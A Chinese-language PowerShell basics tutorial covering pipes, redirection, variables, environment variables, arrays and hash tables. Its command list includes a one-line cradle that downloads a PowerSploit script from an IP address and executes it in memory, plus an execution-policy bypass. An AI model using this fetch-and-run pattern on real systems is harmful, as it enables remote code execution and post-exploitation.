windows powershell基礎
目錄:
1.管道和重定向
2.命令執行
3.變量
4.數組和哈希表 #@()創建數組,使用","把每個值分隔開,@{}創建哈希表,用";"把每個值分隔開
5.常用命令
get-help 查看幫助
get-command 查詢命令
get-member 查看對象的成員信息
get-verb 獲取所有動詞
get-content 或者type 查看內容
$psversiontable 查看powershell版本
ls env: 查看所有環境變量
ls alias: 或者get-alias 查看所有的別名
get-executionpolicy 查看腳本執行策略
set-executionpolicy bypass 設置可以執行腳本
. ./test1.ps1 把test1.ps1加載到內存 注意兩個點之間有一個空格
iex(New-Object Net.Webclient).DownloadString('http://10.10.10.132/PowerSploit-master/xx.ps1') iex遠程下載腳本執行
在字符串前面加"&",可以執行命令或者啟動程序
Powershell 是運行在windows機器上實現系統和應用程序管理自動化的命令行腳本環境。你可以把它看成是命令行提示符cmd.exe的擴充
powershell命令和參數不區分大小寫
1.1管道 #把上一條命令的輸出作為下一條命令的輸入
注:通過ls獲取當前目錄的所有文件信息,然后通過sort-object 排序,默認升序
1.2重定向 #把命令的輸出保存到文件中,‘>’為覆蓋,’>>’追加
注:查看內容可以通過type或者get-content查看
2.Powershell 查看可以執行的cmd命令(cmd /c help )
3.1變量
在powershell中變量名均是以美元符”$”開始,剩余字符可以是數字、字母、下划線的任意字符,並且powershell變量名大小寫不敏感($a和$A 是同一個變量)
powershell一切皆對象,變量也是對象,通過$str(變量名) | get-member 查看變量所擁有的屬性以及方法
查看正在使用的變量 ls variable: 
3.2環境變量
Powershell把所有環境變量的記錄保存在env: 虛擬驅動中,因此可以列出所有環境變量 。一旦查出環境變量的名字就可以使用$env:name 訪問了。
注:通過查找所有環境變量可以得到計算機名,當前所屬域的域名,用戶名等等
通過$env:屬性名訪問
4.1數組
1.命令返回數組 #當我們把一個命令的執行結果保存到一個變量中,可能會認為變量存放的是純文本。
但是,事實上Powershell會把文本按每一行作為元素存為數組
2.創建數組:
在Powershell中創建數組可以使用逗號,創建空數組使用@()
3.訪問、添加數組: #添加數組使用"+="
4.2哈希表
1.創建哈希表
之前使用@()創建數組,現在使用@{}創建哈希表,用";"把每個值分隔開,使用哈希表的鍵訪問對應的值
2.修改、增加、刪除哈希表
------------------------------------------------------------------------------------------------------------------
詳細請參考:powershell在線教程:https://www.pstips.net/powershell-online-tutorials